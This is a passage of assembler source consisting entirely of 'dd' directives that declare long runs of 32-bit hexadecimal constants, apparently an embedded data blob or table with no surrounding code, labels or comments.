		dd 55711EF2h, 0EDE1E767h, 0F5938C60h, 0BC54B3ECh, 0EC37421Dh
		dd 0EB23D892h, 0A2AF67E4h, 0D01B5B7Bh, 0BE04327Dh, 0A8449D4Ch
		dd 0A2AA8C72h, 65B9ABD1h, 8D8075B9h, 6399A9B8h,	0F7F36475h
		dd 2D1894Dh, 0C3D3BFF4h, 127898DEh, 0B98EDC12h,	0D6C7BEF5h
		dd 461DBEFEh, 0CC421D01h, 0F202D475h, 0A14ADF74h, 77042C11h
		dd 0C94AB416h, 6FA67B56h, 779A47CCh, 6C6EF43h, 669E2304h
		dd 0BD2EC58Ch, 1DF36A3Ah, 0B17A8F84h, 471CC9F5h, 4229C0A3h
		dd 9E501352h, 6426D289h, 61307028h, 202442CDh, 0AF6A0053h
		dd 0AB0B42B9h, 42F63015h, 0C9A4CB02h, 0C658987Ch, 6631E476h
		dd 3F04735Eh, 33329A09h, 0BC631221h, 1B04D51Eh,	0DEF51AB8h
		dd 80C7F897h, 4EF82785h, 16F07F5Bh, 0BD9D1FFAh,	2F9AD68Ch
		dd 7602D8F1h, 0ACAD2620h, 5608FC61h, 74A377F8h,	851918E1h
		dd 0D34F1C97h, 0CB4C3585h, 529FE92Ch, 23F4781Dh, 2DE664A0h
		dd 262F0032h, 0EAC96867h, 90CB586Bh, 570797D0h,	93C72EABh
		dd 0D05F907Ch, 55A6AC78h, 64812B42h, 0A8D97B6Fh, 87FE3638h
		dd 9CD51375h, 630E3179h, 368A34C0h, 0B914C2C5h,	1B54E53Fh
		dd 966711B8h, 0B7C39203h, 8B55AA78h, 51FC92BBh,	49A7B125h
		dd 84A1C1CEh, 350712D0h, 0BABAE646h, 0AB89CE0Ah, 5FD0953Dh
		dd 6862E432h, 0BE210EB4h, 834B095Fh, 1826AA03h,	0D10F34B1h
		dd 15D81A12h, 78F4E6FCh, 8FBC4409h, 0CB615A1Bh,	0EC36D70Dh
		dd 0BFE6805Eh, 1282489Fh, 0BFF8D6FAh, 43EB9D96h, 6B417EC0h
		dd 4C8E533Eh, 9366F10Ah, 825BC05Ah, 4E8DB51Eh, 0B1E7FB3Ch
		dd 0FAFFE4FEh, 2495529Dh, 7BD45DD9h, 28A64A7Ah,	76E69E55h
		dd 0E6A7B499h, 33901B91h, 82F7B915h, 6799999Eh,	1610EDFFh
		dd 0F9668A09h, 948749B4h, 0CAC2A1F8h, 0C38FB8A0h, 9DC88E36h
		dd 43D825FBh, 317875EFh, 0AC84187Ch, 131E9100h,	805DF612h
		dd 3608E0BBh, 27E7000Ah, 0A30147BCh, 407875DAh,	5C82AFFCh
		dd 0D12C99B9h, 1F5C8FD2h, 2D87B48Ah, 46A740F3h,	0E6004F6Dh
		dd 0BFC62150h, 908DD866h, 441B6B1Bh, 0B4C3357Bh, 0FFD794D2h
		dd 842A5E9Bh, 7E2973E9h, 0C034A40h, 0FD2DE378h,	0D96FAA1Fh
		dd 0D945FF09h, 8BF32559h, 7419C978h, 121139AAh,	337F0090h
		dd 0C9869DF9h, 0EF051F49h, 867EFA98h, 65EF95ABh, 0E9011981h
		dd 3CA327A1h, 6A6E0866h, 2AFE28DAh, 52EA4CC3h, 3B4D7495h
		dd 0B2D49F6h, 0B4F4D0BEh, 0E1D63175h, 8FE839D6h, 0B300B790h
		dd 65769E58h, 0D86B8858h, 0EBD06DCh, 0EE39475Ah, 3AD08023h
		dd 371AD9EDh, 7551CE76h, 0D8CBE9E4h, 54EA69E2h,	0E44A2821h
		dd 3142B0FBh, 0F430CDFBh, 9CBD8680h, 8865C744h,	0A236BF9Ah
		dd 954D48FEh, 3E5798EFh, 7A5BC2ADh, 11D41EC5h, 567B1960h
		dd 76CB2433h, 0F2027F2Ch, 837C737Ch, 0CF95C5D3h, 2E4AFC5Bh
		dd 3B3B7ED6h, 0E69F851Ch, 1CDCCBD9h, 0F7168D0Ch, 0B0C58320h
		dd 4C64DC2h, 0F0E1AA47h, 5DBA42CFh, 2B7C9577h, 4C9B9799h
		dd 38CCB0D8h, 0A1C213D7h, 0AD559259h, 8E5A8EFh,	61EA2950h
		dd 0CC8ECA36h, 5252B93Eh, 0EAF48BCh, 2FFC7BE2h,	0FD9DE7CBh
		dd 435E855Eh, 5C410A0Dh, 5F0A5B9Ah, 0A63B2280h,	6FF77A37h
		dd 6675AB56h, 0E09462A8h, 0BE86026Fh, 8B359C9Dh, 82E6ADAEh
		dd 479C6D49h, 9B0FD065h, 0CAEE7316h, 8BE3AEE8h,	0A81BA48Dh
		dd 0F2E38700h, 6650646Ch, 0B3E0EB83h, 0B5FE7B4Eh, 4E6D813h
		dd 95F9F523h, 0E095855Dh, 67E9880Fh, 89AAFD70h,	0E219353Bh
		dd 0AFFA4608h, 44E286F9h, 49139C20h, 5F4293AFh,	23EE49A5h
		dd 0AA6658CFh, 0E791158Eh, 190BBB58h, 0D3B4BD7Dh, 356EF090h
		dd 401E462Bh, 0F59CF34Bh, 78810172h, 17D942FDh,	902D3861h
		dd 0C44AADF0h, 2303A4C6h, 772F5268h, 0C62FCEB5h, 8765FD49h
		dd 0B47C635Dh, 2ACAFF27h, 3B82E00Ch, 1FAE2DDCh,	57B6823Bh
		dd 0D992E814h, 0FF1A47D6h, 3D6DFC01h, 9C4EFC4Bh, 6FB79967h
		dd 0B8A2B299h, 0D31B10F2h, 0F981A0EBh, 3982CAE7h, 93C6F212h
		dd 915DC8AAh, 0B04AB677h, 0E89BC65Dh, 35C630B5h, 757B08E6h
		dd 0ECA473FEh, 0B1F2C3E0h, 0B7ACEF26h, 8233C76Ch, 759AA4h
		dd 0EED3B61Ch, 219E05CAh, 0E1BFD3CAh, 0ED55ED81h, 0E372C775h
		dd 0B40970F2h, 0B1BB041Eh, 64096DE3h, 0AC09A041h, 60B519Bh
		dd 5D446468h, 199232FCh, 0D9DA404Fh, 1BA7614h, 145B4DE6h
		dd 5D587B4Dh, 2A099EC3h, 5E257444h, 5419BA8Ah, 0E2341D25h
		dd 0D0F09A53h, 1E24F782h, 19BF5B48h, 0B3C51801h, 29B0B0D5h
		dd 0B18723Fh, 8096AFC5h, 0C21513B5h, 48B7C29h, 0C2ACBE2Dh
		dd 0D20BE50Ah, 2C8CBB6Ah, 642AE4A4h, 0E690BACDh, 0D13EDF08h
		dd 0C3039CD2h, 35876991h, 0E9A7F2D4h, 3F8C4BA6h, 72BC4610h
		dd 4F848A7Ah, 4BCD345Eh, 695C8111h, 5AA0FF76h, 598C0895h
		dd 39CAE520h, 0A0DB0FD1h, 0BD3CEE86h, 345942A7h, 0FC0B987Bh
		dd 65F1E279h, 9F451463h, 105C3A31h, 1F5B6188h, 8F622550h
		dd 77A5DD85h, 3D31FE49h, 0C30B2FBEh, 0A8AFE931h, 0C571A7h
		dd 0DF578984h, 0B4568C45h, 3C9B4450h, 1AD31DE5h, 6884941Eh
		dd 0E72E40DDh, 856FAA98h, 0F6E7EE5Dh, 85DC5ADBh, 4D0FB3A4h
		dd 1CD4F877h, 2E50F3Fh,	53A8D082h, 63DB2360h, 0B33D2FF5h
		dd 0B3C32FEAh, 6BA2ADh,	0C065E61Ah, 55FEC78Fh, 0B09EB320h
		dd 0E02798AEh, 0E5A625h, 90654DA7h, 0A451E090h,	72650F9Eh
		dd 0FE0706D5h, 0D30B2985h, 741E7E27h, 5E8798D5h, 81BB2BF9h
		dd 674707AEh, 736AD62Bh, 1D77E609h, 9BD5B8ACh, 20F7FCB1h
		dd 0A4BC5F04h, 1A5BE615h, 0F5741BDh, 58B103ADh,	6280CB47h
		dd 1F5B07EEh, 35D4AE98h, 0A1752FC1h, 888FA330h,	0A25597A4h
		dd 0BF68AF53h, 0B2F562ECh, 7F917B33h, 0A39FD61h, 7835A72Eh
		dd 0C234236Eh, 3AFAF221h, 0D0296AEh, 0D18A3476h, 0EC64521Ch
		dd 55187715h, 0BD2C6CD9h, 0CF076183h, 8797BFF4h, 9B364684h
		dd 405BB72Ch, 0FA050360h, 687A3710h, 0ADD9C821h, 99A8FB0Ch
		dd 0B8F60F6Ch, 41AF3A75h, 2E601D17h, 60E9ECh, 80C8BDF9h
		dd 0C0F28788h, 44DE87E4h, 26B255A7h, 0EBC5C9ADh, 7E241734h
		dd 21CC7883h, 0C7A918F8h
		dd 32291461h, 0FBEC1D22h, 3FD7A1E2h, 2F9688DBh,	0CCCF935h
		dd 0DF16CBB3h, 0ADF13B29h, 0AC2D2C71h, 0DADE4204h, 0B28DA047h
		dd 0D826735Dh, 0B5A8E94Eh, 1DEB3FADh, 0B21EBD7h, 0E3D9842Ah
		dd 0A99D1C8h, 2116E012h, 1DCF3E37h, 0AC49055Dh,	19A38986h
		dd 2E7A2FABh, 69D73D8h,	6BA183F6h, 3A3A43ECh, 8A7EFB6h
		dd 0E3AB2E44h, 0E49B556Ch, 0DD892941h, 0EB45FD3Ch, 33A4DE98h
		dd 8B55524Ah, 2194B853h, 9575F119h, 2128E673h, 56D72178h
		dd 0B924A354h, 7ACD0A47h, 0ACD1789Ch, 172157CFh, 1C268E03h
		dd 0F9EBF2D3h, 87B35DBCh, 0A35FEAFCh, 42301BC3h, 8E1A0C4Eh
		dd 0FDED4F25h, 0FCE259DFh, 0BDF83832h, 4DF8DE0Ch, 5DC1A777h
		dd 8320ED07h, 0A29262BBh, 0CAD46C3Bh, 7B150BB2h, 0A71F8744h
		dd 0D11A43D0h, 8889E665h, 0C68879A1h, 0E7BC83B5h, 8551E813h
		dd 3AC56727h, 48DBB542h, 0E4587B64h, 1C8F0B97h,	25565437h
		dd 0BF18FF4Eh, 0F2B36964h, 95283F68h, 0DEE5011Ch, 638FD37Fh
		dd 0D537DE0Eh, 0BDAC3B0Fh, 2DF88263h, 0C1135B05h, 0EAE0B046h
		dd 0C60ED264h, 0E97B0094h, 0BA8B6B75h, 0B3CEF80Dh, 0CAB6811Dh
		dd 69850E2Bh, 3294A893h, 3705785Eh, 1E6750E1h, 11EF56E0h
		dd 19FBC9Bh, 69C95454h,	84F42AE1h, 0EC73ABD8h, 9CF5E6CFh
		dd 0ED686F79h, 863D8E66h, 2D28FB92h, 0F4DCEE7Bh, 6A5EC0CCh
		dd 0A778CE0Bh, 5D5E05B5h, 6A85C5D0h, 8C4D2CA0h,	112B8CBh
		dd 48BF75F9h, 575B3021h, 522B1B64h, 9C77D9CEh, 605DD644h
		dd 9BF08E4Eh, 7F228359h, 4E20F60Bh, 0BD977E75h,	6DBBBA72h
		dd 0DD04E3A8h, 85121FEDh, 716A4C80h, 95FB40F9h,	0D5759080h
		dd 0F513D1CFh, 4BD959D3h, 27010A1h, 0F9DB5B1Dh,	0AD7D51C7h
		dd 167EACB2h, 62E5ADF6h, 56031CACh, 0A73B77A9h,	0C5C6EE9Ah
		dd 0E8FE3154h, 45D2F32h, 11DD3395h, 9E70AD59h, 0C7C08DA5h
		dd 1E4AC8ECh, 686C49C9h, 198FD5Ch, 0E5C266C6h, 174E16CAh
		dd 817A1DB9h, 0DDADE388h, 0B7479BE5h, 37B036E5h, 495C48F3h
		dd 80D1558h, 10B2E6C9h,	0A95FED7h, 51EDA0D7h, 6B01E868h
		dd 621F7338h, 26A7F3B0h, 772DDF81h, 3F6DA7BEh, 0A216BF1Fh
		dd 5CDC38DCh, 0B2E1D60Fh, 0C82C8429h, 1507C9B8h, 0B6A3E2B3h
		dd 0BCCE4211h, 119F6A0h, 223E7D03h, 67E37234h, 4BC6A7FDh
		dd 0A9D5665Bh, 0AB970AE0h, 520990D7h, 98B48960h, 0C5ED7147h
		dd 13CD9A97h, 64E28E9h,	1F0AEBB3h, 631639E4h, 0BD150426h
		dd 872430BBh, 8E08C370h, 0E3D30BAh, 0C1186F87h,	2D0F2768h
		dd 8D9996F5h, 0AEC04982h, 6D5D3ED5h, 1B91E376h,	0D01ECBF1h
		dd 23516D2Ch, 0DC0AF036h, 70A6171Eh, 0D71070E7h, 547DE6D2h
		dd 1175872Eh, 0D245C7E1h, 98825B73h, 9DDE2A5Bh,	0DB97099Dh
		dd 210B976Fh, 0C573308Eh, 3937BCB1h, 0C8D65F3Fh, 0C55D9C1Ch
		dd 2A57CE5Ah, 0F7B77AD9h, 9D5FA0D0h, 0AAFB5739h, 0CFC3357Dh
		dd 15205565h, 7F6DA794h, 0B8F97B7Ch, 0D7EDCCC6h, 0AE329F72h
		dd 5115B36Fh, 20386D06h, 375BB734h, 2A8D4D9Dh, 0B2DC3A1Ah
		dd 59F8876Dh, 0B8F81C18h, 0AC417B2Fh, 1EE2FFC3h, 0EC426446h
		dd 0CB0C56D3h, 3474C51Eh, 0EE657587h, 0C9C0204Ch, 4A015F3h
		dd 709A7F1h, 9CCF30C7h,	7FB189EEh, 8FB5281Ch, 1E314A9Eh
		dd 7C822A34h, 0A376C1E9h, 96082664h, 0B9242FFh,	0E3C162E4h
		dd 15A7B3ECh, 0D5CADBC7h, 7DC5900Fh, 6664952Dh,	12765755h
		dd 541C0ACAh, 0AE0CBCB3h, 90C0CC73h, 56028039h,	0A5764B48h
		dd 6DF2D81Fh, 401FE59Bh, 8B16F6B6h, 5712837h, 87CCBFE5h
		dd 0E1BBBE42h, 7700027Bh, 0EC509A0Ch, 0A58A6D77h, 0BC5611A4h
		dd 67B3FC9Ch, 0FE992E32h, 2004C616h, 0DA828721h, 5B4CFB7Dh
		dd 0A7C4B0BAh, 1C994F9Dh, 0B681473Eh, 27A32D1Bh, 9DAEF4C7h
		dd 782A440Ch, 9C292A47h, 3D30E192h, 939A3EE7h, 0CE7D6A83h
		dd 190E969Dh, 0EAFDD6FBh, 636B288h, 83096D62h, 7E6A0C4Ch
		dd 0E807A0Dh, 307F2453h, 0AAD44E30h, 57FA1678h,	0BF31C9BDh
		dd 0E0079BFFh, 79097050h, 0B89FDB93h, 0D13B5ABEh, 0A368C2F4h
		dd 0F36C7A7Ch, 5E3CB2A3h, 3324FA84h, 67958DDDh,	0B33504DEh
		dd 3C7F705Fh, 3EFF2347h, 5D7B525Ah, 0B7A97ACBh,	0ABCC494Bh
		dd 0F267A1D2h, 9072B8h,	4F50045Ah, 0D98B11Ah, 362C6D27h
		dd 0C7E70E3Ch, 0D02FDCF2h, 8BC735B9h, 0DEDB91C1h, 0A8C6F54Dh
		dd 1C68DA5h, 6EE8759Ch,	6BFA550Dh, 4CDD2D9Ch, 0C8EE3E64h
		dd 0C12D7188h, 0BB56F349h, 0F50F47CFh, 5FF46EBBh, 435AAB4h
		dd 0F986BB7Dh, 0DAC4CBAh, 7C24F711h, 8AFF64FBh,	23D3E7C3h
		dd 0F3CA57D6h, 0D46482Bh, 0CFC43318h, 26E951DDh, 0F3E9FD15h
		dd 0BF41A8E0h, 68CCE26Eh, 0D33DCDDEh, 0A80289Dh, 5F7B973Bh
		dd 0CEA219D3h, 6754A057h, 497A6639h, 0E1166D44h, 5BF2CB2Fh
		dd 3BC468F5h, 7904519Ah, 1E948C8Fh, 1F5DE452h, 0D01D0DACh
		dd 0AE561B53h, 603E9F26h, 0B437774Bh, 1D458EA2h, 2ACCC05Ah
		dd 0B2E5DBC6h, 2B0A950Fh, 5D3151A4h, 0BDBB9F6Bh, 72B76D73h
		dd 72FEBCAAh, 0AEB2771h, 1A5ED3h, 0C9B4FBDEh, 87E7861Eh
		dd 0F115E8B8h, 3BE3401Dh, 937B42CDh, 0CAFE7568h, 800CD307h
		dd 7161068Eh, 9A4352D4h, 8E3A414Ch, 30CD7CC0h, 0A58A1EC3h
		dd 1A417634h, 97CE50A8h, 0F334697Bh, 46CAC256h,	4FCF9465h
		dd 0CDC9B68Bh, 0ABD1C246h, 4C083D3h, 1302BC6Dh,	0C899B212h
		dd 0D926832Eh, 597A34B5h, 0C21E18Ch, 0F06FAFB4h, 0B994C985h
		dd 53031275h, 0F7D561C1h, 865EBACAh, 0B043CEA2h, 0CB4205FEh
		dd 929E3B7Ah, 40EE62B5h, 0A75DF0C0h, 57D1CF5Bh,	22559D52h
		dd 0EA28DDE6h, 561E510h, 9EF91CBEh, 1F650791h, 9D74E4CCh
		dd 0F7033D0h, 0EB9E443Eh, 4E069DA0h, 30E542E8h,	0EF8036CBh
		dd 0B31249D9h, 78884B39h, 0D3751F0Ch, 123BF9D6h, 0ABD3F277h
		dd 0A9C4660h, 6AACD4EFh, 8D795569h, 80EE8B87h, 1662213h
		dd 68BA9EEDh, 8E567DCFh, 0F1B8ABC3h, 0C0438521h, 1CC056DAh
		dd 8B65A3BFh, 5A3A5D7Ah, 7481284Bh, 29D68B96h, 0FE3B7886h
		dd 0A74D006Bh, 0A70C3F14h, 3423148Fh, 7926243Ch, 57900A9Dh
		dd 0F7192774h, 166050C6h, 66651E34h, 2BACCF59h,	86C98879h
		dd 4DDED632h, 0E86C7436h, 3FB17ADFh, 0F487BE51h, 6D780812h
		dd 4E19C35Bh, 3B70A779h, 0B31AD3EEh, 6F439DB5h,	0E79A02Dh
		dd 0BA02F110h, 0DCAA5C51h, 0A995AFC8h, 44F816D2h, 7A6F01E1h
		dd 0E34C2A9Fh, 97ECEE01h, 809802FAh, 3F937821h,	0BE32273h
		dd 1E74E031h, 97149503h, 241AFEA6h, 0B6EF59D4h,	0D7ADFDB2h
		dd 8713092Bh, 1019647Fh, 31A74960h, 0FA92AE7Dh,	0AA22E463h
		dd 91AA9661h, 0B2BB93Ch, 247AC2FBh, 13FC1F7Eh, 7B0AAF5Bh
		dd 0AD5B774Fh, 0D1F0582h, 0F9208F59h, 0BBA298F5h, 71E506A6h
		dd 5F1C6D60h, 362FDA21h, 8D17F8FAh, 10331213h, 0F390C110h
		dd 98DAE9D7h, 0A2BD4F78h, 10064292h, 73E13C44h,	5775FD37h
		dd 0E8CCD17h, 2DFDB8E6h, 0C962F65Dh, 2153CE3Eh,	53B9DB20h
		dd 988AE132h, 0F88E7169h, 0FB7AEACEh, 3093239h,	0F048AF99h
		dd 629EB91Bh, 52C158B1h, 8563A56Eh, 0D8DE2781h,	782C7CD0h
		dd 0C2644C5h, 0D1B13C18h, 66E31004h, 0E67B509Bh, 7D96842Bh
		dd 0E4B09C2Bh, 231B2DA9h, 1899BCA7h, 0B353D4F4h, 6C85F17Ch
		dd 0F998FAD0h, 414C0B19h, 0B4F7A633h, 57EC392Eh, 7C5E0EBAh
		dd 10D19EF6h, 0BC41EE7h, 8DEF3C3h, 75836F25h, 821CAB05h
		dd 3F5BFD17h, 69E6ECE3h
		dd 4168A311h, 183B3CC5h, 2BD79D7h, 0ADB909B5h, 89C7124h
		dd 5F182F66h, 0D31282Ch, 1B05BCCEh, 3193367Fh, 0B2BF3787h
		dd 2797ADCFh, 6E3D353h,	0DF8DD7DCh, 0AAF2E0F4h,	0F3B3714Bh
		dd 9669D41Bh, 7E551AF9h, 740F7ED1h, 86ECDEDFh, 0BEE5BEE1h
		dd 0D0D5ED44h, 0CA724425h, 8627DE1h, 6E2CBCBEh,	9381C4F5h
		dd 0E5C68B1Fh, 82838510h, 4C89BAF0h, 9342986Fh,	0CB89E90Fh
		dd 0FA191672h, 1FDD62B9h, 0B64A8A8Eh, 913116F7h, 6BCBCCFCh
		dd 96777D62h, 0EE5D6618h, 0A9819A5Dh, 6FFA61B3h, 0DE592F96h
		dd 0D565EE6Ah, 1B0B51A6h, 0CB02109Eh, 9839FD43h, 236FFD17h
		dd 0FFB9693Dh, 56C7E120h, 0A2E71BD0h, 70E94B94h, 0E5388265h
		dd 3BEE4213h, 0B9C2EDB4h, 9E0E9243h, 0ECE78F9Ah, 5BDFE0C9h
		dd 8C959E11h, 7A635A4Eh, 0B0B3EE3Dh, 8AD7954Dh,	0FC08E1E0h
		dd 0F7DB0EF1h, 6F7B33Eh, 747FB56Bh, 0A0596AE0h,	985F37B3h
		dd 456714A2h, 0E33BA3E9h, 0CC3B0477h, 0A2771DA5h, 16DD585Ah
		dd 6D11B50Bh, 1AA1BA0h,	0CB19BE18h, 6D0A32E1h, 0D04F5625h
		dd 9D708209h, 0EB2DF23Ah, 0C1E2705Bh, 0DA78F042h, 2429E0D5h
		dd 0C984AB67h, 1ADD287Eh, 0FFA3EF57h, 7B7BD74Ah, 0C23235BBh
		dd 0C65B0B9h, 7F04F979h, 0C14793DEh, 3842F067h,	0C05D4D37h
		dd 5DC1B379h, 16331388h, 673CFE25h, 8EF5FB78h, 0F7712963h
		dd 0ACADF660h, 3625F5D0h, 0DF59D385h, 19754744h, 31AB74C2h
		dd 0A511C9B8h, 6C66F0D2h, 213F6290h, 3F267D48h,	7AE2304h
		dd 8D829C0h, 4C0C35A1h,	0F47E6F6Fh, 0DEDE2F85h,	323C450Dh
		dd 95274507h, 0CBD85845h, 53A9DAA7h, 3EE4D8Ch, 25550141h
		dd 5BA1F6E1h, 58BFDC26h, 931E89FAh, 6863B3Bh, 6C446707h
		dd 1FB5A45Fh, 0EE1FAFD6h, 3E2510E3h, 422D0BCBh,	0F4E54Fh
		dd 9E2E6104h, 25DE445Ah, 0D66637B4h, 75898B17h,	79775183h
		dd 6899CB58h, 14CF10B4h, 6E7EDF39h, 41424CBFh, 6255DB3Ah
		dd 2B33A0E1h, 61B40376h, 6551B467h, 5BB62D90h, 527BD583h
		dd 1EA7328h, 0F873F445h, 2F67275Eh, 74796471h, 632E4775h
		dd 0A0A0392Dh, 0C86BCF9Ah, 2C049F51h, 0B86972F0h, 0CF89D54Ah
		dd 765A3339h, 4D2ED9E4h, 60C8B5FDh, 62DBB697h, 9502DBE5h
		dd 0A64CE040h, 4759DD0Ah, 87DDBBDBh, 13EADB0Ch,	990A0503h
		dd 5F9E02CDh, 25D30150h, 4DBEDA50h, 779EFDDBh, 28A39D4Ch
		dd 991CE85Bh, 2F6A83B0h, 1E2B0815h, 5154ED09h, 0FDF5D72Ah
		dd 0ACD25B35h, 1841F820h, 1F27AC05h, 8729AFECh,	0FD722F6Ch
		dd 0B3938A81h, 3F70714Ah, 0EE721855h, 6F62C797h, 973314E9h
		dd 0AF6B006Dh, 0F09C622Bh, 0F995CDDh, 88F510BBh, 4C2F8075h
		dd 51C2045Fh, 0E4D71B76h, 223D32E8h, 17ADB047h,	0ED0D6B0Eh
		dd 0FC4DEEE8h, 47FF6F0Eh, 138990F2h, 4F73B5D0h,	0A7E1364Fh
		dd 1CC633F2h, 0B9979CDAh, 34999FBCh, 0F98791D2h, 0E3D95BDBh
		dd 88C35401h, 0F784A46Fh, 5946078Fh, 1001AF43h,	1B97C949h
		dd 75559415h, 11A65692h, 8F21E6ECh, 871683F5h, 3268A3B9h
		dd 0BDA7B8E7h, 92B06B78h, 88677B5Eh, 85645FF6h,	47C94927h
		dd 0F0B05AAh, 0E5F92555h, 0EC6FCD7Dh, 0CAA19FE5h, 8E7FE8D3h
		dd 0EEE32E92h, 101B89F8h, 7E4357BFh, 0AF1FDB1Bh, 0FF1945Fh
		dd 74632EB5h, 0EEB70BFAh, 0C606B0F1h, 738F85F4h, 897E9A31h
		dd 52A9A95Dh, 97C8E16Bh, 5A8119A2h, 0B45B1E1Ch,	2C88743Fh
		dd 5DC2583Dh, 0D2C07318h, 7EB5100Fh, 89B4D2B1h,	62529B33h
		dd 0B0892C5Bh, 0AE49F3E9h, 0AEED520Dh, 0E816C1Fh, 0D99B1C6Ah
		dd 2A28A48Eh, 913E77F8h, 0CAED5120h, 0A4FFF4E5h, 0A2F43C7Fh
		dd 5CF16AADh, 73CDA330h, 82AD6890h, 65365B6Dh, 845A8494h
		dd 4407F64Dh, 0FD88C99Eh, 0DA067C6Ch, 18702727h, 0B098DCh
		dd 0C1B2B95Bh, 0C7EF1803h, 0B40BB7C6h, 7D54C91Bh, 5EB16234h
		dd 47A12018h, 0F7C9588Ah, 0ACF35688h, 9181E85Fh, 4C2F7E94h
		dd 59FEF741h, 62F3493Dh, 11F39C87h, 0EFC31828h,	0BB351AB7h
		dd 0A77E8016h, 0DB608B6Ah, 4A17CC95h, 5C16D13Eh, 644D427Eh
		dd 1CA4CE79h, 12965763h, 0B8C9E441h, 890EB2CFh,	24B427E3h
		dd 99CDDDFEh, 0E732662Bh, 0A0695FBFh, 6E93C67Bh, 0DB0476F2h
		dd 52B9F861h, 475C75FEh, 0C0F81296h, 9D9D0A0Ch,	0A99C97DFh
		dd 89BC703h, 0E0DA409Ch, 4A20E06Eh, 815E0275h, 2B5C9ECBh
		dd 1C89C334h, 0FEBFCDDEh, 0DD5125Eh, 826E0ED5h,	972ACF55h
		dd 1EF8686Dh, 133C55A6h, 0BBFE3ED1h, 7DC26724h,	0B43F5CC9h
		dd 9764E4E9h, 15BBA19Fh, 5257C231h, 0FEC7067Fh,	0CA7DF990h
		dd 5B1705B5h, 4F9CCD83h, 2A7252C2h, 55055BBDh, 0B8EE1790h
		dd 612AC1E0h, 439055C3h, 0E2F9B15h, 0DE3123D0h,	0FD2FF485h
		dd 670EFF97h, 0B9F70C7Ah, 2834BE92h, 77EB64C0h,	0E9E7F306h
		dd 0C94DDCB5h, 4DD71DE5h, 9F7C97F6h, 2758BAD7h,	0B972732Ch
		dd 0BD1FF4DEh, 712C9994h, 4E628B8Fh, 0D24521D2h, 0F6B32A3Fh
		dd 7415ECA7h, 15059E20h, 685A3C92h, 1B0744EAh, 7076C270h
		dd 0E8C161C7h, 0FFFC867Fh, 0AD37738Ah, 0FDB60A30h, 0F5327746h
		dd 1716DC71h, 0A88BFB18h, 72D2D45Ah, 1915E64Ch,	0DB4DEF70h
		dd 0CFFC8DA3h, 0DC5A8F6Ch, 67D55056h, 54EBE6F4h, 0E05B7C58h
		dd 393D757Ch, 9B905DC1h, 0F92E9F7Fh, 9E9CF789h,	0D3E0D3E0h
		dd 53CE99E5h, 8A5872Eh,	50F700C6h, 5523B590h, 3BEEB6CAh
		dd 0F4B5AB0Fh, 0D47F3835h, 837C1532h, 48D6ED00h, 93AB2F4Fh
		dd 0D8F902BDh, 37A631B9h, 0AB8B60BAh, 420D61CFh, 1CCFA1D7h
		dd 0D46B9F87h, 87BB49B2h, 0F89AF690h, 16408663h, 0D6615C81h
		dd 15A56B54h, 0EA974F62h, 94D00164h, 0D22FC216h, 828D12A4h
		dd 2882DEAEh, 8C8951ACh, 9C9277E8h, 0C73DFE66h,	7CB3229Ch
		dd 0A9882081h, 474BFBECh, 7DAFF0B4h, 70FAF41h, 1066C2BEh
		dd 9801DAADh, 0B9A0575Bh, 5C7FE8CFh, 998E39BDh,	30C50E27h
		dd 0E84806BFh, 0FCEC88D5h, 92685AD0h, 44A2027h,	4E534603h
		dd 0ACE025AEh, 0C7AACAEh, 0A56C706Ch, 350960BFh, 635A8912h
		dd 0B4BDA5E7h, 8C66C8F5h, 3D930B70h, 456F6A4Bh,	0B107E249h
		dd 48DC0683h, 14BEE8Fh,	3357A86Ah, 0B50D052Eh, 0B61C1CEBh
		dd 7D4056F9h, 94AA93B2h, 35A7FBAh, 0D9936FAEh, 3CD207A9h
		dd 7196D7A0h, 75578D35h, 0CBBEC3B3h, 74A56D10h,	0BD8ACAFEh
		dd 774C67FCh, 211820E4h, 1B4A8321h, 0DEEDE749h,	86A7F6F2h
		dd 77D9FB60h, 6851DDA9h, 3FB10472h, 7ECCED55h, 351ED1DDh
		dd 96C2933Bh, 0BFE4D354h, 67551369h, 0F5A01E5Ah, 0B835285Ah
		dd 2583BE3Ch, 0E0697B64h, 0B56AE7FFh, 6D268E1h,	5FA03CBDh
		dd 3DBB7971h, 0FC79F4B4h, 8F42BE64h, 0AE8C21CAh, 0EDBCB543h
		dd 7F0C205Bh, 0CEDD908Ch, 7E192A9Ah, 2E7BC5A6h,	2942F81Ch
		dd 0E7CB2AF0h, 386D637Ch, 5245AB19h, 3809104Ch,	74229A60h
		dd 716935ADh, 0A00424E2h, 0BAD8C27Bh, 0BB75F59Ch, 95E9C2FCh
		dd 341D9D7h, 0F771A9DEh, 660AD9BCh, 547A4842h, 0FD9D648Bh
		dd 0D854F2B9h, 0C7F57670h, 112BAFE0h, 9876967Fh, 45F87B5Ah
		dd 474AFC2Ch, 7AD94662h, 908AADC6h, 5F24D1Fh, 0AB2E5032h
		dd 73B2B4F8h, 53B5072Ch, 0E79B86BCh, 0C3CF0D27h, 8517AA08h
		dd 0D569A2EAh, 0A81B6398h, 0EE892267h, 0B79F7742h, 0C5A30E3h
		dd 0A71BCBAEh, 861DDB33h, 29FE8082h, 78AB2B60h,	0D58E6438h
		dd 0D049AF3Bh, 341C4527h, 66BADFCFh, 0BAD6AC64h, 5EB7480Bh
		dd 5A58F3F3h, 7AFE792Fh
		dd 2FB90EB4h, 6CC9F07h,	573B3EC6h, 36C92ECBh, 25A0D890h
		dd 0A3A1A3ACh, 0B2758532h, 9308B4CFh, 0A6967B14h, 0C4849FFBh
		dd 35A5B52Eh, 0FD7B56FDh, 0D15C9E90h, 0B3EFCD7h, 40B26BCAh
		dd 0F455F4CAh, 0B855ACA1h, 3ADA99D8h, 0E1DE3B11h, 0A533967Dh
		dd 0DA03FD45h, 0C4790AF7h, 7DF15129h, 38C77FD5h, 6E188F2Ah
		dd 1766D6Ah, 22149B36h,	450D93D9h, 1AFD8D83h, 231DC45Ch
		dd 0CC36FA79h, 0A2523FCDh, 5557FBF1h, 0DE42CE35h, 0EFB7D5F2h
		dd 0CE571A75h, 0C7E91F0Ch, 0D97B29FAh, 0A17BA0CBh, 0EFB913E3h
		dd 0E61B4A1h, 184A4C58h, 0AB18AB39h, 8B90318Ah,	3F291F94h
		dd 992629F5h, 0DA16E3C6h, 0A8C4CD7Ch, 0E7310E7Ah, 6BDBF3CFh
		dd 4D9FEBD8h, 2A21252Dh, 8963C37Ah, 751E5BA6h, 0B1DE7456h
		dd 632083EFh, 0B605BC06h, 0AAA8C591h, 0E40A8800h, 0F5E9F9F3h
		dd 13AA867Fh, 0F01CDE9Ch, 21F8ECE7h, 608710DBh,	0D9396A2Ch
